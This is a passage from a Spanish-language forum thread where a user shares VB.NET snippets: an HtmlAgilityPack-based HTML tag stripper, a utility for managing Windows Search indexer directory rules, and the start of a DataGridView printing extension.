  66.        ''' </remarks>
  67.        ''' ----------------------------------------------------------------------------------------------------
  68.        <DebuggerNonUserCode>
  69.        Private Sub New()
  70.        End Sub
  71.  
  72. #End Region
  73.  
  74. #Region " Public Methods "
  75.  
  76.        ''' ----------------------------------------------------------------------------------------------------
  77.        ''' <summary>
  78.        ''' Removes HTML tags from an html string and returns the content in plain text format.
  79.        ''' </summary>
  80.        ''' ----------------------------------------------------------------------------------------------------
  81.        ''' <remarks>
  82.        ''' Note: Some functionalities of this assembly may require to install one or all of the listed NuGet packages:
  83.        ''' <para></para>
  84.        ''' <seealso href="https://www.nuget.org/packages/HtmlAgilityPack">HtmlAgilityPack</seealso>
  85.        ''' </remarks>
  86.        ''' ----------------------------------------------------------------------------------------------------
  87.        ''' <seealso href="https://stackoverflow.com/a/12836974/1248295">Original C# algorithm</seealso>
  88.        ''' ----------------------------------------------------------------------------------------------------
  89.        ''' <example> This is a code example.
  90.        ''' <code language="VB.NET">
  91.        ''' Dim html As String =
  92.        ''' <![CDATA[
  93.        ''' <P style="MARGIN: 0cm 0cm 10pt" class=MsoNormal><SPAN style="LINE-HEIGHT: 115%;
  94.        ''' FONT-FAMILY: 'Verdana','sans-serif'; COLOR: #333333; FONT-SIZE: 9pt">In an
  95.        ''' email sent just three days before the Deepwater Horizon exploded, the onshore
  96.        ''' <SPAN style="mso-bidi-font-weight: bold"><b>BP</b></SPAN> manager in charge of
  97.        ''' the drilling rig warned his supervisor that last-minute procedural changes were
  98.        ''' creating "chaos". April emails were given to government investigators by <SPAN
  99.        ''' style="mso-bidi-font-weight: bold"><b>BP</b></SPAN> and reviewed by The Wall
  100.        ''' Street Journal and are the most direct evidence yet that workers on the rig
  101.        ''' were unhappy with the numerous changes, and had voiced their concerns to <SPAN
  102.        ''' style="mso-bidi-font-weight: bold"><b>BP</b></SPAN>’s operations managers in
  103.        ''' Houston. This raises further questions about whether <SPAN
  104.        ''' style="mso-bidi-font-weight: bold"><b>BP</b></SPAN> managers properly
  105.        ''' considered the consequences of changes they ordered on the rig, an issue
  106.        ''' investigators say contributed to the disaster.</SPAN></p><br/>
  107.        ''' ]]>.Value
  108.        '''
  109.        ''' Dim allowedTags As String() = {"span", "b"}
  110.        ''' Dim str As String = StripHtml(html, allowedTags)
  111.        ''' Console.WriteLine(str)
  112.        ''' </code>
  113.        ''' </example>
  114.        ''' ----------------------------------------------------------------------------------------------------
  115.        ''' <param name="html">
  116.        ''' The string that contains HTML tags.
  117.        ''' </param>
  118.        '''
  119.        ''' <param name="allowedTags">
  120.        ''' An optional list of allowed HTML tags that will not be removed from the string.
  121.        ''' </param>
  122.        ''' ----------------------------------------------------------------------------------------------------
  123.        ''' <returns>
  124.        ''' The resulting plain text content without HTML tags.
  125.        ''' </returns>
  126.        ''' ----------------------------------------------------------------------------------------------------
  127.        <DebuggerStepThrough>
  128.        Public Shared Function StripHtml(html As String, ParamArray allowedTags As String()) As String
  129.            If String.IsNullOrEmpty(html) Then
  130.                Return String.Empty
  131.            End If
  132.            Dim document As New HtmlDocument()
  133.            document.LoadHtml(html)
  134.  
  135.            Dim nodes As New Queue(Of HtmlNode)(document.DocumentNode.SelectNodes("./*|./text()"))
  136.            Do While nodes.Count > 0
  137.                Dim node As HtmlNode = nodes.Dequeue()
  138.                Dim parentNode As HtmlNode = node.ParentNode
  139.  
  140.                If Not allowedTags.Contains(node.Name) AndAlso node.Name <> "#text" Then
  141.                    Dim childNodes As HtmlNodeCollection = node.SelectNodes("./*|./text()")
  142.  
  143.                    If childNodes IsNot Nothing Then
  144.                        For Each child As HtmlNode In childNodes
  145.                            nodes.Enqueue(child)
  146.                            parentNode.InsertBefore(child, node)
  147.                        Next child
  148.                    End If
  149.  
  150.                    parentNode.RemoveChild(node)
  151.                End If
  152.            Loop
  153.  
  154.            Return System.Net.WebUtility.HtmlDecode(document.DocumentNode.InnerHtml)
  155.        End Function
  156.  
  157. #End Region
  158.  
  159.    End Class
  160.  
  161. End Namespace
  162.  
  163. #End Region
  164.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 08:44 am
Aquí les dejo una clase utiliratia para manipular el indexador de carpetas de Windows. Permite añadir y eliminar directorios, enumerar los directorios actuales, y buscar un directorio.

Se necesita esta librería: https://www.nuget.org/packages/tlbimp-Microsoft.Search.Interop (https://www.nuget.org/packages/tlbimp-Microsoft.Search.Interop)

Ejemplos de uso:

Incluir un directorio:
Código
  1. Dim directoryPath As String = "C:\Games\"
  2. SearchIndexerUtil.AddDirectoryRule(directoryPath, include:=True)

Eliminar el directorio:
Código
  1. SearchIndexerUtil.RemoveDirectoryRule(directoryPath)

Comprobar si el directorio está incluído:
Código
  1. Dim isIncluded As Boolean = SearchIndexerUtil.IsDirectoryIncluded(directoryPath)
  2. Debug.WriteLine($"{NameOf(isIncluded)}: {isIncluded}")

Obtener los directorios incluídos:
Código
  1. Dim rules As ReadOnlyCollection(Of CSearchScopeRule) = SearchIndexerUtil.GetDirectoryRules()
  2.  
  3. For Each rule As CSearchScopeRuleClass In rules.Where(Function(x) x.IsDefault = 0)
  4.    Debug.WriteLine($"{NameOf(rule.PatternOrURL)}: {rule.PatternOrURL}")
  5.    Debug.WriteLine($"{NameOf(rule.IsIncluded)}: {rule.IsIncluded = 1}")
  6.    Debug.WriteLine("")
  7. Next



Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 10-October-2022
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Methods "
  9.  
  10. ' AddDirectoryRule(String, Boolean)
  11. ' AddDirectoryRule(DirectoryInfo, Boolean)
  12.  
  13. ' RemoveDirectoryRule(String)
  14. ' RemoveDirectoryRule(DirectoryInfo)
  15.  
  16. ' GetDirectoryRules() As ReadOnlyCollection(Of CSearchScopeRule)
  17.  
  18. ' FindDirectoryRule(String) As CSearchScopeRule
  19. ' FindDirectoryRule(DirectoryInfo) As CSearchScopeRule
  20.  
  21. ' IsDirectoryIncluded(String) As Boolean
  22. ' IsDirectoryIncluded(DirectoryInfo) As Boolean
  23.  
  24. #End Region
  25.  
  26. #End Region
  27.  
  28. #Region " Option Statements "
  29.  
  30. Option Strict On
  31. Option Explicit On
  32. Option Infer Off
  33.  
  34. #End Region
  35.  
  36. #Region " Imports "
  37.  
  38. Imports System.Collections.ObjectModel
  39. Imports System.IO
  40.  
  41. Imports Microsoft.Search.Interop
  42.  
  43. #End Region
  44.  
  45. #Region " SearchIndexer Util "
  46.  
  47. ' ReSharper disable once CheckNamespace
  48.  
  49. Namespace DevCase.ThirdParty.MicrosoftSearchIndexer
  50.  
  51.    ''' ----------------------------------------------------------------------------------------------------
  52.    ''' <summary>
  53.    ''' Contains Microsoft Search Indexer related utilities.
  54.    ''' </summary>
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    ''' <remarks>
  57.    ''' Note: Some functionalities of this assembly may require to install one or all of the listed NuGet packages:
  58.    ''' <para></para>
  59.    ''' <see href="https://www.nuget.org/packages/tlbimp-Microsoft.Search.Interop">tlbimp-Microsoft.Search.Interop by mamift</see>
  60.    ''' </remarks>
  61.    ''' ----------------------------------------------------------------------------------------------------
  62.    Public NotInheritable Class UtilSearchIndexer
  63.  
  64. #Region " Private Fields "
  65.  
  66.        ''' ----------------------------------------------------------------------------------------------------
  67.        ''' <summary>
  68.        ''' Provides methods for controlling the Search service.
  69.        ''' <para></para>
  70.        ''' This interface manages settings and objects that affect the search engine across catalogs.
  71.        ''' </summary>
  72.        ''' ----------------------------------------------------------------------------------------------------
  73.        ''' <remarks>
  74.        ''' Note: Some functionalities of this assembly may require to install one or all of the listed NuGet packages:
  75.        ''' <para></para>
  76.        ''' <see href="https://www.nuget.org/packages/tlbimp-Microsoft.Search.Interop">tlbimp-Microsoft.Search.Interop by mamift</see>
  77.        ''' </remarks>
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        Private Shared searchManager As CSearchManager
  80.  
  81.        ''' ----------------------------------------------------------------------------------------------------
  82.        ''' <summary>
  83.        ''' Provides methods to manage a search catalog for purposes such as re-indexing or setting timeouts.
  84.        ''' </summary>
  85.        ''' ----------------------------------------------------------------------------------------------------
  86.        ''' <remarks>
  87.        ''' Note: Some functionalities of this assembly may require to install one or all of the listed NuGet packages:
  88.        ''' <para></para>
  89.        ''' <see href="https://www.nuget.org/packages/tlbimp-Microsoft.Search.Interop">tlbimp-Microsoft.Search.Interop by mamift</see>
  90.        ''' </remarks>
  91.        ''' ----------------------------------------------------------------------------------------------------
  92.        Private Shared catalogManager As CSearchCatalogManager
  93.  
  94.        ''' ----------------------------------------------------------------------------------------------------
  95.        ''' <summary>
  96.        ''' Provides methods that notify the search engine of containers to crawl and/or watch,
  97.        ''' and items under those containers to include or exclude when crawling or watching.
  98.        ''' </summary>
  99.        ''' ----------------------------------------------------------------------------------------------------
  100.        ''' <remarks>
  101.        ''' Note: Some functionalities of this assembly may require to install one or all of the listed NuGet packages:
  102.        ''' <para></para>
  103.        ''' <see href="https://www.nuget.org/packages/tlbimp-Microsoft.Search.Interop">tlbimp-Microsoft.Search.Interop by mamift</see>
  104.        ''' </remarks>
  105.        ''' ----------------------------------------------------------------------------------------------------
  106.        Private Shared scopeManager As CSearchCrawlScopeManager
  107.  
  108. #End Region
  109.  
  110. #Region " Constructors "
  111.  
  112.        ''' ----------------------------------------------------------------------------------------------------
  113.        ''' <summary>
  114.        ''' Prevents a default instance of the <see cref="UtilSearchIndexer"/> class from being created.
  115.        ''' </summary>
  116.        ''' ----------------------------------------------------------------------------------------------------
  117.        ''' <remarks>
  118.        ''' Note: Some functionalities of this assembly may require to install one or all of the listed NuGet packages:
  119.        ''' <para></para>
  120.        ''' <see href="https://www.nuget.org/packages/tlbimp-Microsoft.Search.Interop">tlbimp-Microsoft.Search.Interop by mamift</see>
  121.        ''' </remarks>
  122.        ''' ----------------------------------------------------------------------------------------------------
  123.        <DebuggerNonUserCode>
  124.        Private Sub New()
  125.        End Sub
  126.  
  127. #End Region
  128.  
  129. #Region " Public Methods "
  130.  
  131.        ''' ----------------------------------------------------------------------------------------------------
  132.        ''' <summary>
  133.        ''' Adds the specified directory path to Windows Search Index.
  134.        ''' </summary>
  135.        ''' ----------------------------------------------------------------------------------------------------
  136.        ''' <remarks>
  137.        ''' Documentation: <see href="https://learn.microsoft.com/en-us/windows/win32/api/searchapi/nf-searchapi-isearchcrawlscopemanager-adduserscoperule"/>
  138.        ''' </remarks>
  139.        ''' ----------------------------------------------------------------------------------------------------
  140.        ''' <example> This is a code example.
  141.        ''' <code language="VB.NET">
  142.        ''' Dim directoryPath As String = "C:\Games\"
  143.        ''' SearchIndexerUtil.AddDirectoryRule(directoryPath, include:=True)
  144.        ''' </code>
  145.        ''' </example>
  146.        ''' ----------------------------------------------------------------------------------------------------
  147.        ''' <param name="directoryPathOrPattern">
  148.        ''' The directory path (or a directory path pattern with wildcards) to be indexed.
  149.        ''' </param>
  150.        '''
  151.        ''' <param name="include">
  152.        ''' <see langword="True"/> if this directory should be included in all searches;
  153.        ''' otherwise, <see langword="False"/>.
  154.        ''' </param>
  155.        ''' ----------------------------------------------------------------------------------------------------
  156.        <DebuggerStepThrough>
  157.        Public Shared Sub AddDirectoryRule(directoryPathOrPattern As String, include As Boolean)
  158.  
  159.            UtilSearchIndexer.InitializeManagers()
  160.  
  161.            Dim uriPath As String = $"file:///{directoryPathOrPattern}"
  162.            UtilSearchIndexer.scopeManager.AddUserScopeRule(uriPath, fInclude:=If(include, 1, 0), fOverrideChildren:=0, fFollowFlags:=Nothing)
  163.            UtilSearchIndexer.scopeManager.SaveAll()
  164.  
  165.        End Sub
  166.  
  167.        ''' ----------------------------------------------------------------------------------------------------
  168.        ''' <summary>
  169.        ''' Adds the specified directory path to Windows Search Index.
  170.        ''' </summary>
  171.        ''' ----------------------------------------------------------------------------------------------------
  172.        ''' <remarks>
  173.        ''' Documentation: <see href="https://learn.microsoft.com/en-us/windows/win32/api/searchapi/nf-searchapi-isearchcrawlscopemanager-adduserscoperule"/>
  174.        ''' </remarks>
  175.        ''' ----------------------------------------------------------------------------------------------------
  176.        ''' <example> This is a code example.
  177.        ''' <code language="VB.NET">
  178.        ''' Dim directory As New DirectoryInfo("C:\Games\")
  179.        ''' SearchIndexerUtil.AddDirectoryRule(directory, include:=True)
  180.        ''' </code>
  181.        ''' </example>
  182.        ''' ----------------------------------------------------------------------------------------------------
  183.        ''' <param name="directory">
  184.        ''' The directory path to be indexed.
  185.        ''' </param>
  186.        '''
  187.        ''' <param name="include">
  188.        ''' <see langword="True"/> if this directory should be included in all searches;
  189.        ''' otherwise, <see langword="False"/>.
  190.        ''' </param>
  191.        ''' ----------------------------------------------------------------------------------------------------
  192.        <DebuggerStepThrough>
  193.        Public Shared Sub AddDirectoryRule(directory As DirectoryInfo, include As Boolean)
  194.            UtilSearchIndexer.AddDirectoryRule(directory.FullName, include)
  195.        End Sub
  196.  
  197.        ''' ----------------------------------------------------------------------------------------------------
  198.        ''' <summary>
  199.        ''' Removes the specified directory path from Windows Search Index.
  200.        ''' </summary>
  201.        ''' ----------------------------------------------------------------------------------------------------
  202.        ''' <remarks>
  203.        ''' Documentation: <see href="https://learn.microsoft.com/en-us/windows/win32/api/searchapi/nf-searchapi-isearchcrawlscopemanager-removescoperule"/>
  204.        ''' </remarks>
  205.        ''' ----------------------------------------------------------------------------------------------------
  206.        ''' <example> This is a code example.
  207.        ''' <code language="VB.NET">
  208.        ''' Dim directoryPath As String = "C:\Games\"
  209.        ''' SearchIndexerUtil.RemoveDirectoryRule(directoryPath)
  210.        ''' </code>
  211.        ''' </example>
  212.        ''' ----------------------------------------------------------------------------------------------------
  213.        ''' <param name="directoryPath">
  214.        ''' The directory path (or a directory path pattern with wildcards) to be deindexed.
  215.        ''' </param>
  216.        ''' ----------------------------------------------------------------------------------------------------
  217.        <DebuggerStepThrough>
  218.        Public Shared Sub RemoveDirectoryRule(directoryPath As String)
  219.  
  220.            UtilSearchIndexer.InitializeManagers()
  221.  
  222.            Dim uriPath As String = $"file:///{directoryPath}"
  223.            UtilSearchIndexer.scopeManager.RemoveScopeRule(uriPath)
  224.            UtilSearchIndexer.scopeManager.SaveAll()
  225.  
  226.        End Sub
  227.  
  228.        ''' ----------------------------------------------------------------------------------------------------
  229.        ''' <summary>
  230.        ''' Removes the specified directory path from Windows Search Index.
  231.        ''' </summary>
  232.        ''' ----------------------------------------------------------------------------------------------------
  233.        ''' <remarks>
  234.        ''' Documentation: <see href="https://learn.microsoft.com/en-us/windows/win32/api/searchapi/nf-searchapi-isearchcrawlscopemanager-removescoperule"/>
  235.        ''' </remarks>
  236.        ''' ----------------------------------------------------------------------------------------------------
  237.        ''' <example> This is a code example.
  238.        ''' <code language="VB.NET">
  239.        ''' Dim directory As New DirectoryInfo("C:\Games\")
  240.        ''' SearchIndexerUtil.RemoveDirectoryRule(directory)
  241.        ''' </code>
  242.        ''' </example>
  243.        ''' ----------------------------------------------------------------------------------------------------
  244.        ''' <param name="directory">
  245.        ''' The directory path to be deindexed.
  246.        ''' </param>
  247.        ''' ----------------------------------------------------------------------------------------------------
  248.        <DebuggerStepThrough>
  249.        Public Shared Sub RemoveDirectoryRule(directory As DirectoryInfo)
  250.            UtilSearchIndexer.RemoveDirectoryRule(directory.FullName)
  251.        End Sub
  252.  
  253.        ''' ----------------------------------------------------------------------------------------------------
  254.        ''' <summary>
  255.        ''' Returns all the directory rules in Windows Search Index.
  256.        ''' </summary>
  257.        ''' ----------------------------------------------------------------------------------------------------
  258.        ''' <remarks>
  259.        ''' Documentation: <see href="https://learn.microsoft.com/en-us/windows/win32/api/searchapi/nn-searchapi-ienumsearchscoperules"/>
  260.        ''' </remarks>
  261.        ''' ----------------------------------------------------------------------------------------------------
  262.        ''' <example> This is a code example.
  263.        ''' <code language="VB.NET">
  264.        ''' Dim rules As ReadOnlyCollection(Of CSearchScopeRule) = SearchIndexerUtil.GetDirectoryRules()
  265.        '''
  266.        ''' For Each rule As CSearchScopeRuleClass In rules.Where(Function(x) x.IsDefault = 0)
  267.        '''     Debug.WriteLine($"{NameOf(rule.PatternOrURL)}: {rule.PatternOrURL}")
  268.        '''     Debug.WriteLine($"{NameOf(rule.IsIncluded)}: {rule.IsIncluded = 1}")
  269.        '''     Debug.WriteLine("")
  270.        ''' Next
  271.        ''' </code>
  272.        ''' </example>
  273.        ''' ----------------------------------------------------------------------------------------------------
  274.        ''' <returns>
  275.        ''' The resulting directory rules.
  276.        ''' </returns>
  277.        ''' ----------------------------------------------------------------------------------------------------
  278.        <DebuggerStepThrough>
  279.        Public Shared Function GetDirectoryRules() As ReadOnlyCollection(Of CSearchScopeRule)
  280.  
  281.            UtilSearchIndexer.InitializeManagers()
  282.  
  283.            Dim collection As New List(Of CSearchScopeRule)
  284.            Dim scopeEnumerator As CEnumSearchScopeRules = UtilSearchIndexer.scopeManager.EnumerateScopeRules()
  285.            Dim fetched As UInteger
  286.  
  287.            Do
  288.                Dim scopeRule As CSearchScopeRule = Nothing
  289.                scopeEnumerator.Next(1, scopeRule, fetched)
  290.                If fetched <> 0 Then
  291.                    collection.Add(scopeRule)
  292.                Else
  293.                    Exit Do
  294.                End If
  295.            Loop
  296.  
  297.            Return collection.AsReadOnly()
  298.  
  299.        End Function
  300.  
  301.        ''' ----------------------------------------------------------------------------------------------------
  302.        ''' <summary>
  303.        ''' Finds a directory rule that matches the specified directory path in Windows Search Index.
  304.        ''' </summary>
  305.        ''' ----------------------------------------------------------------------------------------------------
  306.        ''' <remarks>
  307.        ''' Documentation: <see href="https://learn.microsoft.com/en-us/windows/win32/api/searchapi/nf-searchapi-isearchcrawlscopemanager-removescoperule"/>
  308.        ''' </remarks>
  309.        ''' ----------------------------------------------------------------------------------------------------
  310.        ''' <example> This is a code example.
  311.        ''' <code language="VB.NET">
  312.        ''' Dim directoryPath As String = "C:\Games\"
  313.        ''' Dim rule As CSearchScopeRule = FindDirectoryRule(directoryPath)
  314.        '''
  315.        ''' If rule IsNot Nothing Then
  316.        '''     Debug.WriteLine($"{NameOf(rule.PatternOrURL)}: {rule.PatternOrURL}")
  317.        '''     Debug.WriteLine($"{NameOf(rule.IsIncluded)}: {rule.IsIncluded = 1}")
  318.        ''' End If
  319.        ''' </code>
  320.        ''' </example>
  321.        ''' ----------------------------------------------------------------------------------------------------
  322.        ''' <param name="directoryPathOrPattern">
  323.        ''' The directory path (or a directory path pattern with wildcards) to find.
  324.        ''' </param>
  325.        ''' ----------------------------------------------------------------------------------------------------
  326.        ''' <returns>
  327.        ''' The resulting directory rule,
  328.        ''' or <see langword="Nothing"/> if does not exist a directory rule that matches the specified directory path.
  329.        ''' </returns>
  330.        ''' ----------------------------------------------------------------------------------------------------
  331.        <DebuggerStepThrough>
  332.        Public Shared Function FindDirectoryRule(directoryPathOrPattern As String) As CSearchScopeRule
  333.  
  334.            Dim uriPath As String = $"file:///{directoryPathOrPattern}"
  335.            Return UtilSearchIndexer.GetDirectoryRules().Where(Function(scope) scope.PatternOrURL = uriPath).SingleOrDefault()
  336.  
  337.        End Function
  338.  
  339.        ''' ----------------------------------------------------------------------------------------------------
  340.        ''' <summary>
  341.        ''' Finds a directory rule that matches the specified directory path in Windows Search Index.
  342.        ''' </summary>
  343.        ''' ----------------------------------------------------------------------------------------------------
  344.        ''' <remarks>
  345.        ''' Documentation: <see href="https://learn.microsoft.com/en-us/windows/win32/api/searchapi/nf-searchapi-isearchcrawlscopemanager-removescoperule"/>
  346.        ''' </remarks>
  347.        ''' ----------------------------------------------------------------------------------------------------
  348.        ''' <example> This is a code example.
  349.        ''' <code language="VB.NET">
  350.        ''' Dim directory As New DirectoryInfo("C:\Games\")
  351.        ''' Dim rule As CSearchScopeRule = FindDirectoryRule(directory)
  352.        '''
  353.        ''' If rule IsNot Nothing Then
  354.        '''     Debug.WriteLine($"{NameOf(rule.PatternOrURL)}: {rule.PatternOrURL}")
  355.        '''     Debug.WriteLine($"{NameOf(rule.IsIncluded)}: {rule.IsIncluded = 1}")
  356.        ''' End If
  357.        ''' </code>
  358.        ''' </example>
  359.        ''' ----------------------------------------------------------------------------------------------------
  360.        ''' <param name="directory">
  361.        ''' The directory path to find.
  362.        ''' </param>
  363.        ''' ----------------------------------------------------------------------------------------------------
  364.        ''' <returns>
  365.        ''' The resulting directory rule,
  366.        ''' or <see langword="Nothing"/> if does not exist a directory rule that matches the specified directory path.
  367.        ''' </returns>
  368.        ''' ----------------------------------------------------------------------------------------------------
  369.        <DebuggerStepThrough>
  370.        Public Shared Function FindDirectoryRule(directory As DirectoryInfo) As CSearchScopeRule
  371.  
  372.            Return UtilSearchIndexer.FindDirectoryRule(directory.FullName)
  373.  
  374.        End Function
  375.  
  376.        ''' ----------------------------------------------------------------------------------------------------
  377.        ''' <summary>
  378.        ''' Returns a value indicating whether the specified directory path is included in Windows Search Index.
  379.        ''' </summary>
  380.        ''' ----------------------------------------------------------------------------------------------------
  381.        ''' <remarks>
  382.        ''' Documentation: <see href="https://learn.microsoft.com/en-us/windows/win32/api/searchapi/nf-searchapi-isearchcrawlscopemanager-includedincrawlscope"/>
  383.        ''' </remarks>
  384.        ''' ----------------------------------------------------------------------------------------------------
  385.        ''' <example> This is a code example.
  386.        ''' <code language="VB.NET">
  387.        ''' Dim directoryPath As String = "C:\Games\"
  388.        ''' Dim isIncluded As Boolean = IsDirectoryIncluded(directoryPath)
  389.        '''
  390.        ''' Debug.WriteLine($"{NameOf(isIncluded)}: {isIncluded}")
  391.        ''' </code>
  392.        ''' </example>
  393.        ''' ----------------------------------------------------------------------------------------------------
  394.        ''' <param name="directoryPathOrPattern">
  395.        ''' The directory path (or a directory path pattern with wildcards) to find.
  396.        ''' </param>
  397.        ''' ----------------------------------------------------------------------------------------------------
  398.        ''' <returns>
  399.        ''' <see langword="True"/> if the specified directory path is included in Windows Search Index;
  400.        ''' otherwise, <see langword="False"/>.
  401.        ''' </returns>
  402.        ''' ----------------------------------------------------------------------------------------------------
  403.        <DebuggerStepThrough>
  404.        Public Shared Function IsDirectoryIncluded(directoryPathOrPattern As String) As Boolean
  405.  
  406.            UtilSearchIndexer.InitializeManagers()
  407.  
  408.            Dim uriPath As String = $"file:///{directoryPathOrPattern}"
  409.            Dim included As Integer = UtilSearchIndexer.scopeManager.IncludedInCrawlScope(uriPath)
  410.            Return included = 1
  411.  
  412.        End Function
  413.  
  414.        ''' ----------------------------------------------------------------------------------------------------
  415.        ''' <summary>
  416.        ''' Returns a value indicating whether the specified directory path is included in Windows Search Index.
  417.        ''' </summary>
  418.        ''' ----------------------------------------------------------------------------------------------------
  419.        ''' <remarks>
  420.        ''' Documentation: <see href="https://learn.microsoft.com/en-us/windows/win32/api/searchapi/nf-searchapi-isearchcrawlscopemanager-includedincrawlscope"/>
  421.        ''' </remarks>
  422.        ''' ----------------------------------------------------------------------------------------------------
  423.        ''' <example> This is a code example.
  424.        ''' <code language="VB.NET">
  425.        ''' Dim directory As New DirectoryInfo("C:\Games\")
  426.        ''' Dim isIncluded As Boolean = IsDirectoryIncluded(directory)
  427.        '''
  428.        ''' Debug.WriteLine($"{NameOf(isIncluded)}: {isIncluded}")
  429.        ''' </code>
  430.        ''' </example>
  431.        ''' ----------------------------------------------------------------------------------------------------
  432.        ''' <param name="directory">
  433.        ''' The directory path to find.
  434.        ''' </param>
  435.        ''' ----------------------------------------------------------------------------------------------------
  436.        ''' <returns>
  437.        ''' <see langword="True"/> if the specified directory path is included in Windows Search Index;
  438.        ''' otherwise, <see langword="False"/>.
  439.        ''' </returns>
  440.        ''' ----------------------------------------------------------------------------------------------------
  441.        <DebuggerStepThrough>
  442.        Public Shared Function IsDirectoryIncluded(directory As DirectoryInfo) As Boolean
  443.  
  444.            Return UtilSearchIndexer.IsDirectoryIncluded(directory.FullName)
  445.  
  446.        End Function
  447.  
  448. #End Region
  449.  
  450. #Region " Private Methods "
  451.  
  452.        ''' ----------------------------------------------------------------------------------------------------
  453.        ''' <summary>
  454.        ''' Initializes the value for <see cref="UtilSearchIndexer.searchManager"/>,
  455.        ''' <see cref="UtilSearchIndexer.catalogManager"/> and
  456.        ''' <see cref="UtilSearchIndexer.scopeManager"/> members.
  457.        ''' </summary>
  458.        ''' ----------------------------------------------------------------------------------------------------
  459.        ''' <remarks>
  460.        ''' Note: Some functionalities of this assembly may require to install one or all of the listed NuGet packages:
  461.        ''' <para></para>
  462.        ''' <see href="https://www.nuget.org/packages/tlbimp-Microsoft.Search.Interop">tlbimp-Microsoft.Search.Interop by mamift</see>
  463.        ''' </remarks>
  464.        ''' ----------------------------------------------------------------------------------------------------
  465.        <DebuggerStepThrough>
  466.        Private Shared Sub InitializeManagers()
  467.  
  468.            If UtilSearchIndexer.searchManager Is Nothing Then
  469.                UtilSearchIndexer.searchManager = New CSearchManager()
  470.            End If
  471.  
  472.            If UtilSearchIndexer.catalogManager Is Nothing Then
  473.                UtilSearchIndexer.catalogManager = DirectCast(searchManager.GetCatalog("SystemIndex"), CSearchCatalogManager)
  474.            End If
  475.  
  476.            If UtilSearchIndexer.scopeManager Is Nothing Then
  477.                UtilSearchIndexer.scopeManager = DirectCast(catalogManager.GetCrawlScopeManager(), CSearchCrawlScopeManager)
  478.            End If
  479.  
  480.        End Sub
  481.  
  482. #End Region
  483.  
  484.    End Class
  485.  
  486. End Namespace
  487.  
  488. #End Region
  489.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 08:50 am
Aquí un código para generar las páginas de impresión (para la impresora) del contenido de un control DataGridView.

Ejemplo de uso:
Código
  1. Dim headerBackColor As Color = Color.Gray
  2. Dim headerForeColor As Color = Color.White
  3. Dim rowBackColor As Color = Color.LightGray
  4. Dim rowForeColor As Color = Color.LightGray
  5. Dim rowBackColorAlternate As Color = Color.WhiteSmoke
  6. Dim rowForeColorAlternate As Color = Color.WhiteSmoke
  7.  
  8. Dim printDocument As PrintDocument =
  9.    Me.DataGridView1.GetPrintDocument("Title", textFont:=New Font("Arial", 16),
  10.                                      headerBackColor:=headerBackColor, headerForeColor:=headerForeColor,
  11.                                      rowBackColor:=rowBackColor, rowForeColor:=rowForeColor,
  12.                                      rowBackColorAlternate:=rowBackColorAlternate, rowForeColorAlternate:=rowForeColorAlternate)
  13.  
  14. Dim printPreviewDialog As PrintPreviewDialog = PrintPreviewDialog1
  15. printPreviewDialog.ShowDialog()



Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 13-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' DataGridView.GetPrintDocument(Opt: String, Opt: Font, Opt: Color, Opt: Color, Opt: Color, Opt: Color, Opt: Color, Opt: Color) As PrintDocument
  9.  
  10. #End Region
  11.  
  12. #Region " Option Statements "
  13.  
  14. Option Strict On
  15. Option Explicit On
  16. Option Infer Off
  17.  
  18. #End Region
  19.  
  20. #Region " Imports "
  21.  
  22. Imports System.Drawing.Printing
  23. Imports System.Runtime.CompilerServices
  24.  
  25. #End Region
  26.  
  27. #Region " DataGridView Extensions "
  28.  
  29. ' ReSharper disable once CheckNamespace
  30.  
  31. Namespace DevCase.Extensions.DataGridViewExtensions
  32.  
  33.    ''' ----------------------------------------------------------------------------------------------------
  34.    ''' <summary>
  35.    ''' Contains custom extension methods to use with <see cref="DataGridView"/> control.
  36.    ''' </summary>
  37.    ''' ----------------------------------------------------------------------------------------------------
  38.    <HideModuleName>
  39.    Public Module DataGridViewExtensions
  40.  
  41. #Region " Public Extension Methods "
  42.  
  43.        ''' ----------------------------------------------------------------------------------------------------
  44.        ''' <summary>
  45.        ''' Generates a <see cref="PrintDocument"/> object for printing the contents of the source <see cref="DataGridView"/>.
  46.        ''' </summary>
  47.        ''' ----------------------------------------------------------------------------------------------------
  48.        ''' <example> This is a code example.
  49.        ''' <code language="VB.NET">
  50.        ''' Dim headerBackColor As Color = Color.Gray
  51.        ''' Dim headerForeColor As Color = Color.White
  52.        ''' Dim rowBackColor As Color = Color.LightGray
  53.        ''' Dim rowForeColor As Color = Color.LightGray
  54.        ''' Dim rowBackColorAlternate As Color = Color.WhiteSmoke
  55.        ''' Dim rowForeColorAlternate As Color = Color.WhiteSmoke
  56.        '''
  57.        ''' Dim printDocument As PrintDocument =
  58.        '''     Me.DataGridView1.GetPrintDocument("Title", textFont:=New Font("Arial", 16),
  59.        '''                                       headerBackColor:=headerBackColor, headerForeColor:=headerForeColor,
  60.        '''                                       rowBackColor:=rowBackColor, rowForeColor:=rowForeColor,
  61.        '''                                       rowBackColorAlternate:=rowBackColorAlternate, rowForeColorAlternate:=rowForeColorAlternate)
  62.        '''
  63.        ''' Dim printPreviewDialog As PrintPreviewDialog = PrintPreviewDialog1
  64.        ''' printPreviewDialog.ShowDialog()
  65.        ''' </code>
  66.        ''' </example>
  67.        ''' ----------------------------------------------------------------------------------------------------
  68.        ''' <param name="dataGridView">
  69.        ''' The <see cref="DataGridView"/> to print.
  70.        ''' </param>
  71.        '''
  72.        ''' <param name="title">
  73.        ''' The title to be printed at the top of the document.
  74.        ''' <para></para>
  75.        ''' If not provided, the <see cref="DataGridView.Name"/> property value will be used as the title.
  76.        ''' </param>
  77.        '''
  78.        ''' <param name="textFont">
  79.        ''' Optional. The font to draw header and row texts.
  80.        ''' <para></para>
  81.        ''' If not provided, the <see cref="DataGridView.Font"/> property value will be used as the text font.
  82.        ''' </param>
  83.        '''
  84.        ''' <param name="headerBackColor">
  85.        ''' Optional. The background color of the header row.
  86.        ''' <para></para>
